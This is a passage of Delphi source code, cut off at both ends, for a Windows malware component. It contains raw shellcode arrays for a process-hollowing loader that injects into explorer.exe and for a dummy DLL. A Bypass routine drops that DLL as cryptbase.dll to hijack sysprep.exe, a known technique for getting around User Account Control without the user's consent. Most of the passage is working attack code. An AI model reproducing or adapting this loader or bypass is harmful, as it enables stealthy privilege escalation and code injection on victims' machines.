	$C7, $04, $8D, $5E, $FC, $31, $C0, $8A, $07, $47, $09, $C0, $74, $22, $3C,
	$EF, $77, $11, $01, $C3, $8B, $03, $86, $C4, $C1, $C0, $10, $86, $C4, $01,
	$F0, $89, $03, $EB, $E2, $24, $0F, $C1, $E0, $10, $66, $8B, $07, $83, $C7,
	$02, $EB, $E2, $8B, $AE, $58, $80, $00, $00, $8D, $BE, $00, $F0, $FF, $FF,
	$BB, $00, $10, $00, $00, $50, $54, $6A, $04, $53, $57, $FF, $D5, $8D, $87,
	$9F, $01, $00, $00, $80, $20, $7F, $80, $60, $28, $7F, $58, $50, $54, $50,
	$53, $57, $FF, $D5, $58, $61, $8D, $44, $24, $80, $6A, $00, $39, $C4, $75,
	$FA, $83, $EC, $80, $E9, $0A, $86, $FF, $FF, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $78, $90, $00, $00, $50, $90, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $85, $90, $00, $00, $68, $90, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $90, $90, $00, $00,
	$70, $90, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $9C, $90, $00, $00, $AA, $90,
	$00, $00, $BA, $90, $00, $00, $CA, $90, $00, $00, $D8, $90, $00, $00, $00,
	$00, $00, $00, $E6, $90, $00, $00, $00, $00, $00, $00, $EE, $90, $00, $00,
	$00, $00, $00, $00, $4B, $45, $52, $4E, $45, $4C, $33, $32, $2E, $44, $4C,
	$4C, $00, $4D, $53, $56, $43, $52, $54, $2E, $64, $6C, $6C, $00, $53, $48,
	$45, $4C, $4C, $33, $32, $2E, $44, $4C, $4C, $00, $00, $00, $4C, $6F, $61,
	$64, $4C, $69, $62, $72, $61, $72, $79, $41, $00, $00, $47, $65, $74, $50,
	$72, $6F, $63, $41, $64, $64, $72, $65, $73, $73, $00, $00, $56, $69, $72,
	$74, $75, $61, $6C, $50, $72, $6F, $74, $65, $63, $74, $00, $00, $56, $69,
	$72, $74, $75, $61, $6C, $41, $6C, $6C, $6F, $63, $00, $00, $56, $69, $72,
	$74, $75, $61, $6C, $46, $72, $65, $65, $00, $00, $00, $6D, $65, $6D, $73,
	$65, $74, $00, $00, $53, $68, $65, $6C, $6C, $45, $78, $65, $63, $75, $74,
	$65, $45, $78, $41, $00, $00, $00, $00, $00, $FA, $BF, $34, $53, $00, $00,
	$00, $00, $32, $91, $00, $00, $01, $00, $00, $00, $01, $00, $00, $00, $01,
	$00, $00, $00, $28, $91, $00, $00, $2C, $91, $00, $00, $30, $91, $00, $00,
	$77, $10, $00, $00, $3B, $91, $00, $00, $00, $00, $54, $65, $73, $74, $2E,
	$64, $6C, $6C, $00, $4D, $79, $46, $75, $6E, $63, $74, $69, $6F, $6E, $00,
	$00, $00, $00, $80, $00, $00, $0C, $00, $00, $00, $6D, $38, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
	$00, $00, $00, $00, $00, $00);
 
const
  output: array [0 .. 3119] of byte = ($55, $8B, $EC, $81, $C4, $38, $FE, $FF,
	$FF, $53, $56, $57, $64, $8B, $05, $30, $00, $00, $00, $8B, $40, $0C, $8B,
	$40, $0C, $8B, $00, $8B, $00, $8B, $40, $18, $89, $45, $FC, $8B, $45, $FC,
	$89, $45, $E4, $8B, $45, $E4, $66, $81, $38, $4D, $5A, $0F, $85, $15, $01,
	$00, $00, $8B, $45, $FC, $33, $D2, $52, $50, $8B, $45, $E4, $8B, $40, $3C,
	$99, $03, $04, $24, $13, $54, $24, $04, $83, $C4, $08, $89, $45, $E0, $8B,
	$45, $E0, $81, $38, $50, $45, $00, $00, $0F, $85, $EB, $00, $00, $00, $8B,
	$45, $E0, $8B, $48, $78, $03, $4D, $FC, $8B, $41, $18, $85, $C0, $0F, $8C,
	$D7, $00, $00, $00, $40, $89, $85, $54, $FF, $FF, $FF, $33, $FF, $8B, $45,
	$FC, $33, $D2, $52, $50, $8B, $41, $20, $33, $D2, $52, $50, $8B, $C7, $C1,
	$E0, $02, $99, $03, $04, $24, $13, $54, $24, $04, $83, $C4, $08, $03, $04,
	$24, $13, $54, $24, $04, $83, $C4, $08, $8B, $00, $03, $45, $FC, $81, $38,
	$4C, $6F, $61, $64, $75, $43, $8D, $50, $04, $81, $3A, $4C, $69, $62, $72,
	$75, $38, $8B, $41, $24, $03, $45, $FC, $33, $D2, $52, $50, $8B, $C7, $03,
	$C0, $99, $03, $04, $24, $13, $54, $24, $04, $83, $C4, $08, $66, $8B, $00,
	$66, $89, $45, $DE, $8B, $41, $1C, $03, $45, $FC, $0F, $B7, $55, $DE, $C1,
	$E2, $02, $03, $C2, $8B, $00, $03, $45, $FC, $8B, $D8, $EB, $56, $81, $38,
	$47, $65, $74, $50, $75, $41, $83, $C0, $04, $81, $38, $72, $6F, $63, $41,
	$75, $36, $8B, $41, $24, $03, $45, $FC, $33, $D2, $52, $50, $8B, $C7, $03,
	$C0, $99, $03, $04, $24, $13, $54, $24, $04, $83, $C4, $08, $66, $8B, $00,
	$66, $89, $45, $DE, $8B, $41, $1C, $03, $45, $FC, $0F, $B7, $55, $DE, $C1,
	$E2, $02, $03, $C2, $8B, $00, $03, $45, $FC, $8B, $F0, $47, $FF, $8D, $54,
	$FF, $FF, $FF, $0F, $85, $32, $FF, $FF, $FF, $C6, $85, $0D, $FF, $FF, $FF,
	$52, $C6, $85, $0E, $FF, $FF, $FF, $65, $C6, $85, $0F, $FF, $FF, $FF, $61,
	$C6, $85, $10, $FF, $FF, $FF, $64, $C6, $85, $11, $FF, $FF, $FF, $50, $C6,
	$85, $12, $FF, $FF, $FF, $72, $C6, $85, $13, $FF, $FF, $FF, $6F, $C6, $85,
	$14, $FF, $FF, $FF, $63, $C6, $85, $15, $FF, $FF, $FF, $65, $C6, $85, $16,
	$FF, $FF, $FF, $73, $C6, $85, $17, $FF, $FF, $FF, $73, $C6, $85, $18, $FF,
	$FF, $FF, $4D, $C6, $85, $19, $FF, $FF, $FF, $65, $C6, $85, $1A, $FF, $FF,
	$FF, $6D, $C6, $85, $1B, $FF, $FF, $FF, $6F, $C6, $85, $1C, $FF, $FF, $FF,
	$72, $C6, $85, $1D, $FF, $FF, $FF, $79, $C6, $85, $1E, $FF, $FF, $FF, $00,
	$C6, $45, $A3, $6B, $C6, $45, $A4, $65, $C6, $45, $A5, $72, $C6, $45, $A6,
	$6E, $C6, $45, $A7, $65, $C6, $45, $A8, $6C, $C6, $45, $A9, $33, $C6, $45,
	$AA, $32, $C6, $45, $AB, $00, $C6, $85, $95, $FE, $FF, $FF, $56, $C6, $85,
	$96, $FE, $FF, $FF, $69, $C6, $85, $97, $FE, $FF, $FF, $72, $C6, $85, $98,
	$FE, $FF, $FF, $74, $C6, $85, $99, $FE, $FF, $FF, $75, $C6, $85, $9A, $FE,
	$FF, $FF, $61, $C6, $85, $9B, $FE, $FF, $FF, $6C, $C6, $85, $9C, $FE, $FF,
	$FF, $41, $C6, $85, $9D, $FE, $FF, $FF, $6C, $C6, $85, $9E, $FE, $FF, $FF,
	$6C, $C6, $85, $9F, $FE, $FF, $FF, $6F, $C6, $85, $A0, $FE, $FF, $FF, $63,
	$C6, $85, $A1, $FE, $FF, $FF, $00, $C6, $85, $A2, $FE, $FF, $FF, $52, $C6,
	$85, $A3, $FE, $FF, $FF, $74, $C6, $85, $A4, $FE, $FF, $FF, $6C, $C6, $85,
	$A5, $FE, $FF, $FF, $4D, $C6, $85, $A6, $FE, $FF, $FF, $6F, $C6, $85, $A7,
	$FE, $FF, $FF, $76, $C6, $85, $A8, $FE, $FF, $FF, $65, $C6, $85, $A9, $FE,
	$FF, $FF, $4D, $C6, $85, $AA, $FE, $FF, $FF, $65, $C6, $85, $AB, $FE, $FF,
	$FF, $6D, $C6, $85, $AC, $FE, $FF, $FF, $6F, $C6, $85, $AD, $FE, $FF, $FF,
	$72, $C6, $85, $AE, $FE, $FF, $FF, $79, $C6, $85, $AF, $FE, $FF, $FF, $00,
	$C6, $85, $EB, $FE, $FF, $FF, $57, $C6, $85, $EC, $FE, $FF, $FF, $72, $C6,
	$85, $ED, $FE, $FF, $FF, $69, $C6, $85, $EE, $FE, $FF, $FF, $74, $C6, $85,
	$EF, $FE, $FF, $FF, $65, $C6, $85, $F0, $FE, $FF, $FF, $50, $C6, $85, $F1,
	$FE, $FF, $FF, $72, $C6, $85, $F2, $FE, $FF, $FF, $6F, $C6, $85, $F3, $FE,
	$FF, $FF, $63, $C6, $85, $F4, $FE, $FF, $FF, $65, $C6, $85, $F5, $FE, $FF,
	$FF, $73, $C6, $85, $F6, $FE, $FF, $FF, $73, $C6, $85, $F7, $FE, $FF, $FF,
	$4D, $C6, $85, $F8, $FE, $FF, $FF, $65, $C6, $85, $F9, $FE, $FF, $FF, $6D,
	$C6, $85, $FA, $FE, $FF, $FF, $6F, $C6, $85, $FB, $FE, $FF, $FF, $72, $C6,
	$85, $FC, $FE, $FF, $FF, $79, $C6, $85, $FD, $FE, $FF, $FF, $00, $C6, $85,
	$FE, $FE, $FF, $FF, $56, $C6, $85, $FF, $FE, $FF, $FF, $69, $C6, $85, $00,
	$FF, $FF, $FF, $72, $C6, $85, $01, $FF, $FF, $FF, $74, $C6, $85, $02, $FF,
	$FF, $FF, $75, $C6, $85, $03, $FF, $FF, $FF, $61, $C6, $85, $04, $FF, $FF,
	$FF, $6C, $C6, $85, $05, $FF, $FF, $FF, $41, $C6, $85, $06, $FF, $FF, $FF,
	$6C, $C6, $85, $07, $FF, $FF, $FF, $6C, $C6, $85, $08, $FF, $FF, $FF, $6F,
	$C6, $85, $09, $FF, $FF, $FF, $63, $C6, $85, $0A, $FF, $FF, $FF, $45, $C6,
	$85, $0B, $FF, $FF, $FF, $78, $C6, $85, $0C, $FF, $FF, $FF, $00, $C6, $85,
	$DA, $FE, $FF, $FF, $53, $C6, $85, $DB, $FE, $FF, $FF, $65, $C6, $85, $DC,
	$FE, $FF, $FF, $74, $C6, $85, $DD, $FE, $FF, $FF, $54, $C6, $85, $DE, $FE,
	$FF, $FF, $68, $C6, $85, $DF, $FE, $FF, $FF, $72, $C6, $85, $E0, $FE, $FF,
	$FF, $65, $C6, $85, $E1, $FE, $FF, $FF, $61, $C6, $85, $E2, $FE, $FF, $FF,
	$64, $C6, $85, $E3, $FE, $FF, $FF, $43, $C6, $85, $E4, $FE, $FF, $FF, $6F,
	$C6, $85, $E5, $FE, $FF, $FF, $6E, $C6, $85, $E6, $FE, $FF, $FF, $74, $C6,
	$85, $E7, $FE, $FF, $FF, $65, $C6, $85, $E8, $FE, $FF, $FF, $78, $C6, $85,
	$E9, $FE, $FF, $FF, $74, $C6, $85, $EA, $FE, $FF, $FF, $00, $C6, $85, $C1,
	$FE, $FF, $FF, $56, $C6, $85, $C2, $FE, $FF, $FF, $69, $C6, $85, $C3, $FE,
	$FF, $FF, $72, $C6, $85, $C4, $FE, $FF, $FF, $74, $C6, $85, $C5, $FE, $FF,
	$FF, $75, $C6, $85, $C6, $FE, $FF, $FF, $61, $C6, $85, $C7, $FE, $FF, $FF,
	$6C, $C6, $85, $C8, $FE, $FF, $FF, $46, $C6, $85, $C9, $FE, $FF, $FF, $72,
	$C6, $85, $CA, $FE, $FF, $FF, $65, $C6, $85, $CB, $FE, $FF, $FF, $65, $C6,
	$85, $CC, $FE, $FF, $FF, $00, $C6, $85, $CD, $FE, $FF, $FF, $52, $C6, $85,
	$CE, $FE, $FF, $FF, $65, $C6, $85, $CF, $FE, $FF, $FF, $73, $C6, $85, $D0,
	$FE, $FF, $FF, $75, $C6, $85, $D1, $FE, $FF, $FF, $6D, $C6, $85, $D2, $FE,
	$FF, $FF, $65, $C6, $85, $D3, $FE, $FF, $FF, $54, $C6, $85, $D4, $FE, $FF,
	$FF, $68, $C6, $85, $D5, $FE, $FF, $FF, $72, $C6, $85, $D6, $FE, $FF, $FF,
	$65, $C6, $85, $D7, $FE, $FF, $FF, $61, $C6, $85, $D8, $FE, $FF, $FF, $64,
	$C6, $85, $D9, $FE, $FF, $FF, $00, $C6, $85, $3F, $FF, $FF, $FF, $4E, $C6,
	$85, $40, $FF, $FF, $FF, $74, $C6, $85, $41, $FF, $FF, $FF, $55, $C6, $85,
	$42, $FF, $FF, $FF, $6E, $C6, $85, $43, $FF, $FF, $FF, $6D, $C6, $85, $44,
	$FF, $FF, $FF, $61, $C6, $85, $45, $FF, $FF, $FF, $70, $C6, $85, $46, $FF,
	$FF, $FF, $56, $C6, $85, $47, $FF, $FF, $FF, $69, $C6, $85, $48, $FF, $FF,
	$FF, $65, $C6, $85, $49, $FF, $FF, $FF, $77, $C6, $85, $4A, $FF, $FF, $FF,
	$4F, $C6, $85, $4B, $FF, $FF, $FF, $66, $C6, $85, $4C, $FF, $FF, $FF, $53,
	$C6, $85, $4D, $FF, $FF, $FF, $65, $C6, $85, $4E, $FF, $FF, $FF, $63, $C6,
	$85, $4F, $FF, $FF, $FF, $74, $C6, $85, $50, $FF, $FF, $FF, $69, $C6, $85,
	$51, $FF, $FF, $FF, $6F, $C6, $85, $52, $FF, $FF, $FF, $6E, $C6, $85, $53,
	$FF, $FF, $FF, $00, $C6, $45, $D2, $6E, $C6, $45, $D3, $74, $C6, $45, $D4,
	$64, $C6, $45, $D5, $6C, $C6, $45, $D6, $6C, $C6, $45, $D7, $00, $C6, $85,
	$B0, $FE, $FF, $FF, $54, $C6, $85, $B1, $FE, $FF, $FF, $65, $C6, $85, $B2,
	$FE, $FF, $FF, $72, $C6, $85, $B3, $FE, $FF, $FF, $6D, $C6, $85, $B4, $FE,
	$FF, $FF, $69, $C6, $85, $B5, $FE, $FF, $FF, $6E, $C6, $85, $B6, $FE, $FF,
	$FF, $61, $C6, $85, $B7, $FE, $FF, $FF, $74, $C6, $85, $B8, $FE, $FF, $FF,
	$65, $C6, $85, $B9, $FE, $FF, $FF, $50, $C6, $85, $BA, $FE, $FF, $FF, $72,
	$C6, $85, $BB, $FE, $FF, $FF, $6F, $C6, $85, $BC, $FE, $FF, $FF, $63, $C6,
	$85, $BD, $FE, $FF, $FF, $65, $C6, $85, $BE, $FE, $FF, $FF, $73, $C6, $85,
	$BF, $FE, $FF, $FF, $73, $C6, $85, $C0, $FE, $FF, $FF, $00, $C6, $85, $30,
	$FF, $FF, $FF, $43, $C6, $85, $31, $FF, $FF, $FF, $72, $C6, $85, $32, $FF,
	$FF, $FF, $65, $C6, $85, $33, $FF, $FF, $FF, $61, $C6, $85, $34, $FF, $FF,
	$FF, $74, $C6, $85, $35, $FF, $FF, $FF, $65, $C6, $85, $36, $FF, $FF, $FF,
	$50, $C6, $85, $37, $FF, $FF, $FF, $72, $C6, $85, $38, $FF, $FF, $FF, $6F,
	$C6, $85, $39, $FF, $FF, $FF, $63, $C6, $85, $3A, $FF, $FF, $FF, $65, $C6,
	$85, $3B, $FF, $FF, $FF, $73, $C6, $85, $3C, $FF, $FF, $FF, $73, $C6, $85,
	$3D, $FF, $FF, $FF, $57, $C6, $85, $3E, $FF, $FF, $FF, $00, $C6, $85, $1F,
	$FF, $FF, $FF, $47, $C6, $85, $20, $FF, $FF, $FF, $65, $C6, $85, $21, $FF,
	$FF, $FF, $74, $C6, $85, $22, $FF, $FF, $FF, $54, $C6, $85, $23, $FF, $FF,
	$FF, $68, $C6, $85, $24, $FF, $FF, $FF, $72, $C6, $85, $25, $FF, $FF, $FF,
	$65, $C6, $85, $26, $FF, $FF, $FF, $61, $C6, $85, $27, $FF, $FF, $FF, $64,
	$C6, $85, $28, $FF, $FF, $FF, $43, $C6, $85, $29, $FF, $FF, $FF, $6F, $C6,
	$85, $2A, $FF, $FF, $FF, $6E, $C6, $85, $2B, $FF, $FF, $FF, $74, $C6, $85,
	$2C, $FF, $FF, $FF, $65, $C6, $85, $2D, $FF, $FF, $FF, $78, $C6, $85, $2E,
	$FF, $FF, $FF, $74, $C6, $85, $2F, $FF, $FF, $FF, $00, $8D, $85, $3F, $FF,
	$FF, $FF, $50, $8D, $45, $D2, $50, $FF, $D3, $50, $FF, $D6, $89, $45, $D8,
	$8D, $85, $30, $FF, $FF, $FF, $50, $8D, $45, $A3, $50, $FF, $D3, $50, $FF,
	$D6, $89, $45, $C8, $8D, $85, $1F, $FF, $FF, $FF, $50, $8D, $45, $A3, $50,
	$FF, $D3, $50, $FF, $D6, $89, $45, $CC, $8D, $85, $0D, $FF, $FF, $FF, $50,
	$8D, $45, $A3, $50, $FF, $D3, $50, $FF, $D6, $89, $45, $C4, $8D, $85, $95,
	$FE, $FF, $FF, $50, $8D, $45, $A3, $50, $FF, $D3, $50, $FF, $D6, $89, $45,
	$98, $8D, $85, $FE, $FE, $FF, $FF, $50, $8D, $45, $A3, $50, $FF, $D3, $50,
	$FF, $D6, $89, $45, $C0, $8D, $85, $EB, $FE, $FF, $FF, $50, $8D, $45, $A3,
	$50, $FF, $D3, $50, $FF, $D6, $89, $45, $BC, $8D, $85, $DA, $FE, $FF, $FF,
	$50, $8D, $45, $A3, $50, $FF, $D3, $50, $FF, $D6, $89, $45, $B8, $8D, $85,
	$CD, $FE, $FF, $FF, $50, $8D, $45, $A3, $50, $FF, $D3, $50, $FF, $D6, $89,
	$45, $B4, $8D, $85, $C1, $FE, $FF, $FF, $50, $8D, $45, $A3, $50, $FF, $D3,
	$50, $FF, $D6, $89, $45, $B0, $8D, $85, $B0, $FE, $FF, $FF, $50, $8D, $45,
	$A3, $50, $FF, $D3, $50, $FF, $D6, $89, $45, $AC, $8D, $85, $A2, $FE, $FF,
	$FF, $50, $8D, $45, $A3, $50, $FF, $D3, $50, $FF, $D6, $89, $45, $9C, $33,
	$DB, $8B, $45, $10, $89, $45, $E4, $8B, $45, $E4, $66, $81, $38, $4D, $5A,
	$0F, $85, $17, $04, $00, $00, $8B, $45, $E4, $8B, $40, $3C, $03, $45, $10,
	$89, $45, $E0, $8B, $45, $E0, $81, $38, $50, $45, $00, $00, $0F, $85, $FC,
	$03, $00, $00, $33, $FF, $8D, $85, $40, $FE, $FF, $FF, $C6, $04, $38, $00,
	$47, $83, $FF, $44, $75, $F0, $33, $FF, $8D, $85, $84, $FE, $FF, $FF, $C6,
	$04, $38, $00, $47, $83, $FF, $10, $75, $F0, $C7, $85, $40, $FE, $FF, $FF,
	$44, $00, $00, $00, $8D, $85, $84, $FE, $FF, $FF, $50, $8D, $85, $40, $FE,
	$FF, $FF, $50, $6A, $00, $6A, $00, $6A, $04, $6A, $00, $6A, $00, $6A, $00,
	$8B, $45, $0C, $50, $8B, $45, $08, $50, $FF, $55, $C8, $85, $C0, $0F, $84,
	$A1, $03, $00, $00, $6A, $04, $68, $00, $10, $00, $00, $68, $D0, $02, $00,
	$00, $6A, $00, $FF, $55, $98, $89, $45, $90, $8B, $45, $90, $83, $7D, $90,
	$00, $74, $0C, $EB, $01, $40, $8B, $D0, $83, $E2, $03, $85, $D2, $75, $F6,
	$89, $45, $94, $83, $7D, $94, $00, $0F, $84, $5B, $03, $00, $00, $8B, $45,
	$94, $C7, $00, $07, $00, $01, $00, $8B, $45, $94, $50, $8B, $85, $88, $FE,
	$FF, $FF, $50, $FF, $55, $CC, $85, $C0, $0F, $84, $2E, $03, $00, $00, $8D,
	$45, $84, $50, $6A, $04, $8D, $45, $8C, $50, $8B, $45, $94, $8B, $80, $A4,
	$00, $00, $00, $83, $C0, $08, $50, $8B, $85, $84, $FE, $FF, $FF, $50, $FF,
	$55, $C4, $8B, $45, $E0, $8B, $40, $34, $3B, $45, $8C, $75, $58, $8B, $45,
	$E0, $8B, $40, $34, $50, $8B, $85, $84, $FE, $FF, $FF, $50, $FF, $55, $D8,
	$85, $C0, $75, $24, $6A, $40, $68, $00, $30, $00, $00, $8B, $45, $E0, $8B,
	$40, $50, $50, $8B, $45, $E0, $8B, $40, $34, $50, $8B, $85, $84, $FE, $FF,
	$FF, $50, $FF, $55, $C0, $89, $45, $88, $EB, $41, $6A, $40, $68, $00, $30,
	$00, $00, $8B, $45, $E0, $8B, $40, $50, $50, $6A, $00, $8B, $85, $84, $FE,
	$FF, $FF, $50, $FF, $55, $C0, $89, $45, $88, $EB, $22, $6A, $40, $68, $00,
	$30, $00, $00, $8B, $45, $E0, $8B, $40, $50, $50, $8B, $45, $E0, $8B, $40,
	$34, $50, $8B, $85, $84, $FE, $FF, $FF, $50, $FF, $55, $C0, $89, $45, $88,
	$83, $7D, $88, $00, $0F, $84, $7E, $02, $00, $00, $8B, $45, $10, $89, $45,
	$EC, $8B, $45, $EC, $89, $45, $F8, $8B, $45, $F8, $8B, $40, $3C, $03, $45,
	$EC, $89, $45, $F4, $6A, $40, $68, $00, $30, $00, $00, $8B, $45, $F4, $8B,
	$40, $50, $50, $6A, $00, $FF, $55, $98, $89, $45, $E8, $8B, $45, $F4, $8B,
	$40, $54, $50, $8B, $45, $EC, $50, $8B, $45, $E8, $50, $FF, $55, $9C, $8B,
	$45, $F4, $0F, $B7, $40, $06, $48, $85, $C0, $7C, $4B, $40, $89, $85, $54,
	$FF, $FF, $FF, $33, $FF, $8B, $45, $F8, $8B, $40, $3C, $03, $45, $EC, $05,
	$F8, $00, $00, $00, $8B, $D7, $C1, $E2, $03, $8D, $14, $92, $03, $C2, $89,
	$45, $F0, $8B, $45, $F0, $8B, $40, $10, $50, $8B, $45, $F0, $8B, $40, $14,
	$03, $45, $EC, $50, $8B, $45, $F0, $8B, $40, $0C, $03, $45, $E8, $50, $FF,
	$55, $9C, $47, $FF, $8D, $54, $FF, $FF, $FF, $75, $BE, $8B, $45, $E8, $89,
	$45, $10, $8B, $45, $E0, $8B, $40, $34, $3B, $45, $88, $0F, $84, $64, $01,
	$00, $00, $8B, $45, $10, $89, $85, $60, $FF, $FF, $FF, $8B, $45, $E0, $89,
	$85, $5C, $FF, $FF, $FF, $8B, $45, $E0, $8B, $55, $88, $2B, $50, $34, $89,
	$95, $58, $FF, $FF, $FF, $8B, $85, $60, $FF, $FF, $FF, $89, $85, $7C, $FF,
	$FF, $FF, $8B, $85, $5C, $FF, $FF, $FF, $83, $B8, $A4, $00, $00, $00, $00,
	$0F, $86, $05, $01, $00, $00, $8B, $85, $5C, $FF, $FF, $FF, $8B, $80, $A0,
	$00, $00, $00, $03, $85, $7C, $FF, $FF, $FF, $89, $85, $78, $FF, $FF, $FF,
	$E9, $D9, $00, $00, $00, $8B, $85, $78, $FF, $FF, $FF, $8B, $00, $03, $85,
	$7C, $FF, $FF, $FF, $89, $85, $74, $FF, $FF, $FF, $8B, $85, $78, $FF, $FF,
	$FF, $83, $C0, $08, $89, $85, $70, $FF, $FF, $FF, $8B, $85, $78, $FF, $FF,
	$FF, $8B, $40, $04, $83, $E8, $08, $89, $85, $38, $FE, $FF, $FF, $33, $C0,
	$89, $85, $3C, $FE, $FF, $FF, $DF, $AD, $38, $FE, $FF, $FF, $D8, $35, $38,
	$31, $40, $00, $E8, $43, $E2, $FF, $FF, $48, $85, $C0, $72, $71, $40, $89,
	$85, $54, $FF, $FF, $FF, $C7, $45, $80, $00, $00, $00, $00, $8B, $85, $70,
	$FF, $FF, $FF, $0F, $B7, $00, $C1, $E8, $0C, $89, $85, $68, $FF, $FF, $FF,
	$8B, $85, $70, $FF, $FF, $FF, $66, $8B, $00, $66, $25, $FF, $0F, $0F, $B7,
	$C0, $89, $85, $64, $FF, $FF, $FF, $83, $BD, $68, $FF, $FF, $FF, $03, $75,
	$20, $8B, $85, $74, $FF, $FF, $FF, $03, $85, $64, $FF, $FF, $FF, $89, $85,
	$6C, $FF, $FF, $FF, $8B, $85, $6C, $FF, $FF, $FF, $8B, $95, $58, $FF, $FF,
	$FF, $01, $10, $83, $85, $70, $FF, $FF, $FF, $02, $FF, $45, $80, $FF, $8D,
	$54, $FF, $FF, $FF, $75, $9D, $8B, $85, $78, $FF, $FF, $FF, $8B, $40, $04,
	$03, $85, $78, $FF, $FF, $FF, $89, $85, $78, $FF, $FF, $FF, $8B, $85, $78,
	$FF, $FF, $FF, $83, $38, $00, $0F, $87, $18, $FF, $FF, $FF, $8B, $45, $E0,
	$8B, $55, $88, $89, $50, $34, $68, $F8, $00, $00, $00, $8B, $45, $E0, $50,
	$8B, $45, $E4, $8B, $40, $3C, $03, $45, $10, $50, $FF, $55, $9C, $8D, $45,
	$84, $50, $8B, $45, $E0, $8B, $40, $50, $50, $8B, $45, $10, $50, $8B, $45,
	$88, $50, $8B, $85, $84, $FE, $FF, $FF, $50, $FF, $55, $BC, $8D, $45, $84,
	$50, $6A, $04, $8D, $45, $88, $50, $8B, $45, $94, $8B, $80, $A4, $00, $00,
	$00, $83, $C0, $08, $50, $8B, $85, $84, $FE, $FF, $FF, $50, $FF, $55, $BC,
	$8B, $45, $E0, $8B, $40, $28, $03, $45, $88, $8B, $55, $94, $89, $82, $B0,
	$00, $00, $00, $8B, $45, $94, $50, $8B, $85, $88, $FE, $FF, $FF, $50, $FF,
	$55, $B8, $8B, $85, $88, $FE, $FF, $FF, $50, $FF, $55, $B4, $8B, $9D, $88,
	$FE, $FF, $FF, $68, $00, $80, $00, $00, $6A, $00, $8B, $45, $90, $50, $FF,
	$55, $B0, $85, $DB, $75, $0C, $6A, $00, $8B, $85, $84, $FE, $FF, $FF, $50,
	$FF, $55, $AC, $8B, $C3, $5F, $5E, $5B, $8B, $E5, $5D, $C2, $0C, $00, $00,
	$00, $00, $00, $00, $00, $40, $40, $31, $40, $00, $11, $02, $2E, $31, $01,
	$00, $00, $00, $00, $00, $00, $00, $11, $00, $00, $00, $00, $10, $40, $00,
	$11, $47, $65, $6E, $65, $72, $61, $74, $65, $53, $68, $65, $6C, $6C, $43,
	$6F, $64, $65, $8B, $C0, $55, $8B, $EC, $33, $C0, $55, $68, $87, $31, $40,
	$00, $64, $FF, $30, $64, $89, $20, $33, $C0, $5A, $59, $59, $64, $89, $10,
	$68, $8E, $31, $40, $00, $C3, $00);
 
Function mFileToStr(Ruta: ansistring): ansistring;
var
  sFile: HFile;
  uBytes: Cardinal;
begin
  Result := '';
  sFile := _lopen(PansiChar(Ruta), OF_READ);
  uBytes := GetFileSize(sFile, nil);
  SetLength(Result, uBytes);
  _lread(sFile, @Result[1], uBytes);
  _lclose(sFile);
end;
 
Procedure mWriteFileFromStr(Cadena, Ruta: ansistring);
var
  sFile: HFile;
  uBytes: Cardinal;
begin
  sFile := _lcreat(PansiChar(Ruta), 0);
  uBytes := Length(Cadena);
  _lwrite(sFile, @Cadena[1], uBytes);
  _lclose(sFile);
end;
 
function IsWindows64: Boolean;
var
  ASystemInfo: TSystemInfo;
begin
  ASystemInfo.dwOemId := 0;
  GetNativeSystemInfo(ASystemInfo);
  Result := ASystemInfo.wProcessorArchitecture in [PROCESSOR_ARCHITECTURE_IA64,
	PROCESSOR_ARCHITECTURE_AMD64];
end;
 
function IsUserAnAdmin: integer; external 'shell32';
 
Function Bypass: bool;
var
  ExecuteFromMem: function(szFilePath, szParams: pwidechar; pFile: Pointer)
	: Cardinal; stdcall;
  Yo: ansistring;
  DllD: ansistring;
  TmpDir: array [0 .. MAX_PATH] of Char;
  WinDir: array [0 .. MAX_PATH] of Char;
  SysDir: array [0 .. MAX_PATH] of Char;
  Tmp: String;
  Sys: String;
  Win: String;
  SysPrp: String;
  FOpThread: DWORD;
  Param0, Param1: string;
begin
  Result := False;
  Param0 := '" " ' + '"' + paramstr(0) + '"';
  ExecuteFromMem := @output;
  GetTempPath(MAX_PATH, TmpDir);
  GetSystemDirectory(SysDir, MAX_PATH);
  GetWindowsDirectory(WinDir, MAX_PATH);
  if IsWindows64 then
	Win := WinDir + '\syswow64\explorer.exe'
  else
	Win := WinDir + '\explorer.exe';
  Sys := SysDir + '\sysprep\cryptbase.dll';
  SysPrp := SysDir + '\sysprep\sysprep.exe';
  Tmp := TmpDir + 'cryptbase.dll';
 
  if IsUserAnAdmin = 1 then
  begin
	Result := True;
	while FileExists(Sys) do
	  DeleteFile(Sys);
	DeleteFile(Tmp);
  end
  else
  begin
	if AnsiUpperCase(ExtractFileName(paramstr(0))) <> 'EXPLORER.EXE' then
	begin
	  Yo := mFileToStr(paramstr(0));
	  SetLength(DllD, SizeOf(DllDummy));
	  CopyMemory(@DllD[1], @DllDummy[0], SizeOf(DllDummy));
	  mWriteFileFromStr(DllD, Tmp);
	  // Sleep(3000);
	  FOpThread := ExecuteFromMem(PChar(Win), nil, @FOp[0]);
	  WaitForSingleObject(FOpThread, INFINITE);
	  ExecuteFromMem(PChar(Win), PChar(WideString(Param0)), @Yo[1]);
	  ExitProcess(0);
	end
	else
	begin
